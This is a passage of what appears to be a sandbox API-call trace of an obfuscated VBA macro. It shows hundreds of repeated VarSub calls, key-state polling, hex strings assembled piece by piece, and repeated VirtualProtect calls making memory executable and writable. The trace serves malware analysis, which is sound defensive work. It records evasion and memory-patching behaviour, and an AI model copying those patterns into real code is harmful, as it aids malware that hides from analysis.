pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.423] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.424] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.425] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.426] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.427] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.602] GetAsyncKeyState (vKey=3) returned 0 [0086.743] GetAsyncKeyState (vKey=3) returned 0 [0089.285] GetAsyncKeyState (vKey=3) returned 0 [0089.571] GetAsyncKeyState (vKey=3) returned 0 [0089.572] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0089.572] VarBstrCat (in: bstrLeft="&Hf", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0090.251] GetAsyncKeyState (vKey=3) returned 0 [0090.251] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0090.252] VarBstrCat (in: bstrLeft="&Hd", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0090.572] GetAsyncKeyState (vKey=3) returned 0 [0090.854] GetAsyncKeyState (vKey=3) returned 0 [0091.151] GetAsyncKeyState (vKey=3) returned 0 [0091.323] GetAsyncKeyState (vKey=3) returned 0 [0091.604] GetAsyncKeyState (vKey=3) returned 0 [0091.948] GetAsyncKeyState (vKey=3) returned 0 [0092.268] GetAsyncKeyState (vKey=3) returned 0 [0092.431] GetAsyncKeyState (vKey=3) returned 0 [0092.431] SafeArrayDestroyData (psa=0xc7cdb60) returned 0x0 [0092.442] SafeArrayDestroyDescriptor (psa=0xc7cdb60) returned 0x0 [0092.442] SafeArrayCopy (in: psa=0xc7ce730, ppsaOut=0x197c84 | out: ppsaOut=0x197c84) returned 0x0 [0092.472] SafeArrayCopy (in: psa=0xc7cdb60, ppsaOut=0x197e98 | out: ppsaOut=0x197e98) returned 0x0 [0092.501] SafeArrayCopy (in: psa=0xc7ce280, ppsaOut=0x197ff4 | out: ppsaOut=0x197ff4) returned 0x0 [0092.575] CRetailMalloc_Alloc () returned 0xcad47c8 [0092.576] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0092.576] memcpy (in: _Dst=0xfa55040, _Src=0x1978c4, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0092.576] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0092.576] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a4, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0092.577] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x97\x96\x97\x97\x97\x97\x96\x96\x97\x96\x97\x97\x96\x97\x97\x96\x97\x97", cchCount1=-1, lpString2="\x96\x97\x97\x96\x97\x97\x97\x97\x97\x96\x97\x97\x97\x96\x96\x96\x96\x96\x96\x97", cchCount2=-1) returned 3 [0092.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2eba, cbMultiByte=21, lpWideCharStr=0x1976c4, cchWideChar=22 | out: lpWideCharStr="–——–—————–———––––––—") returned 21 [0092.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280382, cbMultiByte=21, lpWideCharStr=0x197724, cchWideChar=22 | out: lpWideCharStr="–——–—————–———––––––—") returned 21 [0092.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280382, cbMultiByte=21, lpWideCharStr=0x197724, cchWideChar=22 | out: lpWideCharStr="–——–—————–———––––––—") returned 21 [0092.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280382, cbMultiByte=21, lpWideCharStr=0x197724, cchWideChar=22 | out: lpWideCharStr="–——–—————–———––––––—") returned 21 [0092.579] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x97\x97\x96\x97\x97\x97\x97\x96\x96\x97\x96\x97\x97\x96\x97\x97\x96\x97\x97", cchCount1=-1, lpString2="\x96\x97\x97\x96\x97\x97\x97\x97\x97\x96\x97\x97\x97\x96\x96\x96\x96\x96\x96\x97", cchCount2=-1) returned 3 [0092.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280382, cbMultiByte=21, lpWideCharStr=0x197724, cchWideChar=22 | out: lpWideCharStr="–——–—————–———––––––—") returned 21 [0092.579] CRetailMalloc_Alloc () returned 0xcacd650 [0092.580] _mbscpy_s (in: _Dst=0xcacd650, _DstSizeInBytes=0x15, _Src=0x11280382 | out: _Dst=0xcacd650) returned 0x0 [0092.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280c36, cbMultiByte=28, lpWideCharStr=0x197734, cchWideChar=29 | out: lpWideCharStr="_B_var_–——–—————–———––––––—") returned 28 [0092.580] _mbscpy_s (in: _Dst=0x19779c, _DstSizeInBytes=0x15, _Src=0x11280382 | out: _Dst=0x19779c) returned 0x0 [0092.580] CRetailMalloc_Free () returned 0x1 [0092.581] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0092.581] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0092.581] memcpy (in: _Dst=0xfa54f3c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0092.581] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0092.581] memcpy (in: _Dst=0xfa54f38, _Src=0x197714, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0092.581] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0092.581] memcpy (in: _Dst=0xfa54f38, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0092.581] memcpy (in: _Dst=0xcad47ea, _Src=0x197878, _Size=0x1 | out: _Dst=0xcad47ea) returned 0xcad47ea [0092.581] memcpy (in: _Dst=0xcad4840, _Src=0x197944, _Size=0x18 | out: _Dst=0xcad4840) returned 0xcad4840 [0092.581] CRetailMalloc_Realloc () returned 0xcad47c8 [0092.581] CRetailMalloc_Free () returned 0x1 [0092.582] GetCurrentProcess () returned 0xffffffff [0092.582] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0092.582] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.582] GetCurrentProcess () returned 0xffffffff [0092.582] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0092.582] GetCurrentProcess () returned 0xffffffff [0092.582] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0092.582] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.583] GetCurrentProcess () returned 0xffffffff [0092.583] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0092.583] GetCurrentProcess () returned 0xffffffff [0092.583] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0092.583] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.584] GetCurrentProcess () returned 0xffffffff [0092.584] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0092.584] GetCurrentProcess () returned 0xffffffff [0092.584] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0092.584] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.584] GetCurrentProcess () returned 0xffffffff [0092.584] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0092.584] GetCurrentProcess () returned 0xffffffff [0092.584] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0092.584] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.585] GetCurrentProcess () returned 0xffffffff [0092.585] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0092.585] GetCurrentProcess () returned 0xffffffff [0092.585] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0092.585] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.585] GetCurrentProcess () returned 0xffffffff [0092.585] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0092.585] GetCurrentProcess () returned 0xffffffff [0092.585] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0092.585] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.586] GetCurrentProcess () returned 0xffffffff [0092.586] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0092.586] GetCurrentProcess () returned 0xffffffff [0092.586] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0092.586] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.586] GetCurrentProcess () returned 0xffffffff [0092.586] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0092.586] GetCurrentProcess () returned 0xffffffff [0092.586] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0092.587] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.587] GetCurrentProcess () returned 0xffffffff [0092.587] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0092.587] GetCurrentProcess () returned 0xffffffff [0092.587] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0092.587] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.587] GetCurrentProcess () returned 0xffffffff [0092.587] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0092.587] GetCurrentProcess () returned 0xffffffff [0092.588] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0092.588] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.589] GetCurrentProcess () returned 0xffffffff [0092.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0092.590] GetCurrentProcess () returned 0xffffffff [0092.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0092.590] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.590] GetCurrentProcess () returned 0xffffffff [0092.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0092.590] GetCurrentProcess () returned 0xffffffff [0092.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0092.590] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.591] GetCurrentProcess () returned 0xffffffff [0092.591] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0092.591] GetCurrentProcess () returned 0xffffffff [0092.591] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0092.591] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.591] GetCurrentProcess () returned 0xffffffff [0092.591] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0092.591] GetCurrentProcess () returned 0xffffffff [0092.591] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0092.591] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.592] GetCurrentProcess () returned 0xffffffff [0092.592] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0092.592] GetCurrentProcess () returned 0xffffffff [0092.592] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0092.592] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0092.592] GetCurrentProcess () returned 0xffffffff [0092.592] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 